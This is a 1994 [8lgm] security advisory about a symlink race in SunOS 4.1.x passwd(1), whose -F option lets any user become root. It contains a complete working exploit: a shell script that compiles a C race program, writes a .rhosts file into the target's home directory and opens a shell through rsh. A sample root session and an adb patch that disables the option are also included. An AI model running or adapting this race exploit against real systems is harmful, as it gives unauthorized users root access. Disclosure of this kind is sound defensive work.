[8lgm]-Advisory-7.UNIX.passwd.11-May-1994

[8lgm () bagpuss demon co uk ([8LGM] Security Team)]

This advisory has been sent to:

        comp.security.unix

        BUGTRAQ                 <bugtraq () crimelab com>
        CERT/CC                 <cert () cert org>
        Sun Microsystems        <security-alert () sun com>

===========================================================================
                [8lgm]-Advisory-7.UNIX.passwd.11-May-1994


PROGRAM:

        passwd(1)        (/usr/bin/passwd)

VULNERABLE OS's:

        SunOS 4.1.x

DESCRIPTION:

        passwd(1) allows any user to specify the password file to be
        used (passwd(1) updates the file as root.)  Using a program
        which changes the absolute path of this passwd file at carefully
        selected points during the execution of passwd(1), changes can
        be written to a directory of our choice.

IMPACT:

        Any user with access to passwd(1) can become root.

REPEAT BY:

        This example demonstrates how to become root on affected
        machines by creating an .rhosts file for root.  Please do
        not do this unless you have permission.

        Create the following file, 'passwdscript':

8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: passwdscript target-user
#
# This exploits a flaw in SunOS passwd(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1994 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

PROG="`basename $0`"

# Check args
if [ $# -ne 1 ]; then
        echo "Syntax: $PROG user target-file rsh-user"
        exit 1
fi
TARGET_USER="$1"

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

# Make the race program
cat >passwdrace.c << 'EOF'
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <pwd.h>


main(argc, argv)
int argc;
char *argv[];
{
        FILE    *passwd_in, *passwd_out;
        int     race_child_pid = -1;
        struct  stat st;
        struct  passwd *pw;
        char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
                buf[1024], cmd[256], nowhere[256], nowhere2[256],
                dir[256];

        if (argc != 2) {
                fprintf(stderr, "Usage: %s target-user\n",
                        argv[0]);
                exit(1);
        }

        /*
         * Get Target User info
         */
        if ((pw = getpwnam(argv[1])) == NULL) {
                fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
                        argv[0], argv[1]);
                exit(1);
        }
        strcpy(dir, pw->pw_dir);

        /*
         * Set up names for directories/links we will access
         */
        sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
        sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
        sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
        sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
        sprintf(ptmp, "%s/ptmp", dir);
        symlink(pwd_dir, pwd_link);

        /*
         * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
         * The bigger our 'passwd file', the longer passwd(1) takes
         * to write it out, the greater chance we have of noticing
         * it doing so and winning the race.
         */
        mkdir(pwd_dir, 0700);
        sprintf(pwd_file, "%s/.rhosts", pwd_dir);
        if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
                fprintf(stderr, "Cant open %s!\n", pwd_file);
                exit(1);
        }
        if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
                fprintf(stderr, "Cant open /etc/passwd\n");
                exit(1);
        }
        if ((pw = getpwuid(getuid())) == NULL) {
                fprintf(stderr, "Who are you?\n");
                exit(1);
        }
        fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
        for (;;) {
                fseek(passwd_in, 0L, SEEK_SET);
                while(fgets(buf, sizeof(buf), passwd_in))
                        fputs(buf, passwd_out);
                if (ftell(passwd_out) > 32768)
                        break;
        }
        fclose(passwd_in);
        fflush(passwd_out);

        /*
         * Fork a new process.  In the parent, run passwd -F.
         * In the child, run the race process(es).
         */
        if ((race_child_pid = fork()) < 0) {
                perror("fork");
                exit(1);
        }
        if (race_child_pid) {
                /*
                 * Parent - run passwd -F
                 */
                sprintf(pwd_file, "%s/.rhosts", pwd_link);
                puts("Wait until told you see \"Enter your password now!\"");
                sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
                system(cmd);
                kill(race_child_pid, 9);
                exit(0);
        } else {
                /*
                 * Child
                 */
                int fd = fileno(passwd_out);
                time_t last_access;

                /*
                 * Remember the current 'last accessed'
                 * time for our password file.  Once this
                 * changes it, we know passwd(1) is reading
                 * it, and we can switch the symlink.
                 */
                if (fstat(fd, &st)) {
                        perror("fstat");
                        exit(1);
                }
                last_access = st.st_atime;

                /*
                 * Give passwd(1) a chance to start up.
                 * and do its initialisations.  Hopefully
                 * by now, its asked the user for their
                 * password.
                 */
                sleep(5);
                write(0, "Enter your password now!\n",
                      sizeof("Enter your password now!\n"));

                /*
                 * Link our directory to our target directory
                 */
                unlink(pwd_link);
                symlink(dir, pwd_link);

                /*
                 * Create two links pointing to nowhere.
                 * We use rename(2) to switch these in later.
                 * (Using unlink(2)/symlink(2) is too slow).
                 */
                symlink(pwd_dir, nowhere);
                symlink(dir, nowhere2);

                /*
                 * Wait until ptmp exists in our target
                 * dir, then switch the link.
                 */
                while ((open(ptmp, O_RDONLY)==-1));
                rename(nowhere, pwd_link);
                
                /*
                 * Wait until passwd(1) has accessed our
                 * 'password file', then switch the link.
                 */
                while (last_access == st.st_atime)
                        fstat(fd, &st);
                rename(nowhere2, pwd_link);
        }
}
EOF
cc -O -o passwdrace passwdrace.c

# Check we now have passwdrace
if [ ! -x "passwdrace" ]; then
        echo "$PROG: couldnt compile passwdrace.c - check it out"
        exit 1
fi

# Start passwdrace
./passwdrace $TARGET_USER

# Try to rsh
rsh localhost -l $TARGET_USER sh -i
exit 0

8<--------------------------- cut here ----------------------------

        (Lines marked with > represent user input)
>       % chmod 700 passwdscript
>       % ./passwdscript root
        Wait until told you see "Enter your password now!"
        Changing password for nmw on somesun.
        Old password:Enter your password now!
>       mypassword      
>       New password: mypassword
>       Retype new password: mypassword
        # 

        You must wait for the signal "Enter your password now!" before
        you type your password, or you will not win the race.  Your
        password will not echo as you type it.
        

DISCUSSION:

        A discussion in bug-traq alerted us to the fact that passwd
        could be used to read any file on the system.  It was clear
        however that the behaviour of passwd(1) as stated would
        indeed allow arbitrary files to be created around the
        file system.

        The program creating the symbolic links waits for various
        events to occur, switching the link between the directory
        which contains our data file, and our desired target directory.

        Occasionally you will loose the race; the symptom of this is
        that a 'ptmp' file is created and left in your target directory.
        Once this has occurred, future attempts to use the script to
        write to the same directory will fail.  With a little more
        work, the script above could be made to delete these ptmp
        files when they occur, and put the rest of the code in a loop,
        effectively reducing the chances of loosing to zero.

        Programs running with extra privileges should not trust
        insecure paths.


WORKAROUND & FIX:

        1. Contact your vendor for a patch.

        2. Patch the passwd binary to remove the '-F' option.

>       # cd /bin
>       # mv passwd passwd.old; chmod 700 passwd.old
>       # cp passwd.old passwd
>       # adb -w - passwd
        not core file = passwd
>       /l 'F:'
        0x68de

The above address is required in the following step:

>       0x68de/w 0
        0x68de:         0x463a  =       0x0
        <CTRL-D>
>       # chmod 4711 /bin/passwd
>       # /bin/passwd -F /tmp/WinnersBlues
        passwd: illegal option -- F
        Usage: passwd [-l|-y] [-F file] [-afs] [-d user] [-e user]
                [-n numdays user] [-x numdays user] [user]
        # 

        If passwd -F complains at this stage, you have successfully
        disabled the option.


FEEDBACK AND CONTACT INFORMATION:

        8lgm-bugs () bagpuss demon co uk           (To report security flaws)

        8lgm-request () bagpuss demon co uk        (Request for [8lgm] Advisories)

        8lgm () bagpuss demon co uk                (General enquiries)

        System Administrators are encouraged to contact us for any
        other information they may require about the problems described
        in this advisory.

        We welcome reports about which platforms this flaw does or does
        not exist on.


        NB: 8lgm-bugs () bagpuss demon co uk is intended to be used by
        people wishing to report which platforms/OS's the bugs in our
        advisories are present on.  Please do *not* send information on
        other bugs to this address - report them to your vendor and/or
        comp.security.unix instead.
===========================================================================